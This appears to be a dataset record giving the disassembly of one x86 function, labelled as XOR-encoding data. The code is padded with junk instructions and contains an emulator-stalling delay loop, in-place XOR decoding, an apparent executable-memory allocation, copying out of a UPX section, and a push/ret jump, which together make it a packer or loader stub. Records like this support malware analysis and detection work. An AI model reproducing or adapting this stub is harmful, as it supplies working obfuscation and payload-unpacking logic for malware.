Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x51d9217d
or edi, edi
add esi, 0x74b6fa42
mov esi, 0xf2abfa0f
popal
sub esi, edi
mov edi, 0x8bc8cdaf
mov eax, 0
mov edx, ecx
or ebx, ebx
dec esi
mov edi, edx
mov ebx, 0x985dd568
add ebx, esi
mov ecx, edi
sub ebx, 0xf0287e2f
sub ebx, 0x6b3cc47a
add esi, esi
add eax, 1
mov esi, ebx
sub ebx, 0xaa240c7d
not ebx
cmp eax, 0x1009dc1
jne 0xa789cc
dec esi
or ebx, esi
add esi, 0x7d13507d
or esi, esi
and esi, esi
mov eax, 0xa78796
inc edx
add esi, 0x124a89e6
add edi, 1
mov ecx, 0xa7898a
add esi, 0x2e94671c
sub esi, 0xe9f49f6a
inc edx
mov ebx, dword [eax]
mov edi, 0xe0cef785
and esi, edx
not esi
and ebx, 0xff
add edx, edi
add edi, edx
add edx, 0x8db602e
xor dword [ecx], ebx
and edx, edx
not esi
inc ecx
or edi, edx
sub edx, 0x1c3ab635
add edi, 0x72d05e6d
inc eax
sub edx, esi
add edi, 0xe13b50aa
cmp ecx, entry0
jl 0xa78a37
add esi, 0xf45627d5
or edi, edi
add edx, esi
dec edx
add edx, 0x65780a65
not edx
mov edi, 0xb98b61f4
add edi, esi
mov ecx, 0xa7898e
not edi
add esi, edi
add esi, edi
mov ecx, dword [ecx]
sub ebx, 1
or edi, edx
dec ebx
mov ecx, dword [ecx]
mov edx, edi
or esi, edi
push ecx
inc edx
not edi
mov ecx, 0xa7898a
not edx
or edi, edi
mov ecx, dword [ecx]
mov esi, 0xa3ff3ab1
dec esi
mov esi, 0x249eb303
mov ecx, dword [ecx]
mov edi, edx
add ebx, ebx
sub esp, 4
mov dword [esp], 0xa78992
and esi, edi
sub edi, esi
call ecx
add ebx, esi
add esi, 0x6f02fdc1
pop ecx
add edx, 0xbaf83a9a
add edi, esi
dec edx
push 0xa7899f
add edi, 0x193a24e2
inc edx
or edx, ebx
sub esp, 4
mov dword [esp], eax
mov esi, 0x968cfed
inc ebx
call ecx
not esi
dec edx
push 0x40
add esi, 0x19def440
add edi, edi
or edx, esi
push 0x3000
sub edx, 0xf4903fbd
or edi, esi
push 0x2000016d
sub edi, 0xa3dfab85
add edx, esi
add edi, 1
push 0
and edx, edx
or edx, edx
add esi, esi
call eax
sub edx, 0xe494b475
add ebx, edi
add eax, 0x200000e8
dec edi
add edx, 0x316897d3
inc edx
mov ecx, 0x67b4382f
not ebx
mov edx, 0xd0246c9b
mov dword [eax], ecx
add edx, esi
mov edx, 0xeb6cbaf9
mov ecx, dword [eax]
and edx, esi
add edi, 0x55500ef
sub esi, 0xac872081
cmp ecx, 0x67b4382f
je 0xa78b99
mov edx, 0
mov byte [edx], cl
mov ebx, 0x9de33b5f
sub edx, edi
sub ebx, edx
dec ebx
not ebx
sub esi, edi
add edi, edi
add edi, edi
mov edx, section.UPX1
mov esi, 0xe6c74b47
inc esi
add esi, 0xd0d71d59
mov eax, 0xa78795
not esi
dec edi
mov esi, edi
mov ecx, 0
sub esi, 1
add esi, 1
mov ebx, 0xa78796
sub edi, esi
and esi, esi
lea ebx, [ecx + ebx]
sub esi, edi
mov esi, edi
mov ebx, dword [ebx]
mov edi, 0x5c970bea
or esi, esi
and ebx, 0xff
and esi, esi
sub esi, 0x50d477c8
mov esi, 0x405c2389
inc ecx
dec esi
sub esi, 0x8719ea5
cmp ecx, 0x1f4
jne 0xa78c18
mov ecx, 0
add esi, edi
dec esi
sub edi, esi
dec esi
sub edi, 0xf9ff282c
xor dword [edx], ebx
or esi, edi
dec esi
and esi, esi
add edx, 2
sub edi, 0x7dd015a5
mov esi, 0x579bad12
not esi
cmp edx, eax
jl 0xa78bd7
mov edi, 0xbd57c3fc
mov esi, edi
add esi, 0x9648c78a
sub edi, 1
inc edi
mov esi, section.UPX1
add ebx, 0x248ae176
and ebx, ebx
or edx, edx
mov edi, section.UPX1
add ebx, 1
sub ebx, 0x6d3c33a3
mov ecx, 0xa78795
sub ebx, 0xe7ce51f9
add edx, 1
mov eax, 0
and edx, edx
or ebx, edx
mov al, byte [edi]
and edx, edx
sub edx, 0x1b6089a
add ebx, edx
mov byte [esi], al
and edx, edx
not ebx
inc esi
not edx
and edx, ebx
or edx, edx
add edi, 2
sub edx, 1
add ebx, edx
add ebx, 0xf19c39a0
cmp edi, ecx
jle 0xa78c94
dec ebx
sub edx, 0xf00c23dc
mov ebx, edx
mov edi, esi
mov edi, 0x702a4c34
inc edi
sub esp, 4
mov dword [esp], 0x8dc6a0
not esi
sub esi, 0xfbee943a
ret